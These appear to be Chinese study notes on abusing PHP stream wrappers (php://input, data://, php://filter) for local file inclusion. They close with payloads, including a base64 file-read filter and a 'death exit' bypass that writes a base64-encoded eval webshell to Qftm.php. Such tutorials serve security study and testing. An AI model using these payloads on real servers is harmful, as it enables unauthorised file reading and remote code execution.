PHP中的协议利用
php://input
接收POST RAW
需要打开 url_allow_fopen url_allow_include
data://
data://text/plain,<phpcode>
需要打开 url_allow_fopen url_allow_include
php://filter简单理解：
php://filter 是php中独有的一个协议，可以作为一个中间流来处理其他流，可以进行任意文件的读取；根据名字，filter，可以很容易想到这个协议可以用来过滤一些东西；
使用不同的参数可以达到不同的目的和效果：
| 名称 | 描述 | 备注 | |
|---|---|---|---|
| resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流 | 必选 | |
| read=<读链的筛选列表> | 可以设定一个或多个过滤器名称，以管道符"\ | "分割 | 可选 |
| write=<写链的筛选列表> | 可以设定一个或多个过滤器名称，以管道符"\ | “分割 | 可选 |
| <；两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
Trick： read 和write 里 可以塞垃圾字符 php://filter面对不可用的规则是报个Warning，然后跳过继续执行
string.strip_tags
convert 转换过滤器
base64-encode/decode
convert.iconv.*
The convert.iconv.* filters are available, if iconv support is enabled, and their use is equivalent to processing all stream data with iconv(). These filters do not support parameters, but instead expect the input and output encodings to be given as part of the filter name, i.e. either as convert.iconv.
<input-encoding>.<output-encoding>or convert.iconv.<input-encoding>/<output-encoding>(both notations are semantically equivalent).Example #3 convert.iconv.*
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0"); fclose($fp); /* Outputs: This is a test. */ ?>
简单来说convert.iconv.*相当于调用了iconv()
可以看这个示例
<?php
echo iconv('UCS-4LE','UCS-4BE',"<?ph");
//Output:hp?<
?>
利用:
- LFR/LFI
php://filter/read=convert.base64-encode/resource=file.txt
php://input+ POST报文php代码 (allow_url_include=On)data://text/plain,<phpcode>(allow_url_include=On)
- 绕过死亡exit,关键词检测
Example:
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
参考资料
谈一谈php://filter的妙用:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
php 可用过滤器列表 ：https://www.php.net/manual/en/filters.php
探索php://filter在实战当中的奇技淫巧 ： https://www.anquanke.com/post/id/202510
file_put_content和死亡·杂糅代码之缘 https://xz.aliyun.com/t/8163
关于file_put_contents的一些小测试 https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/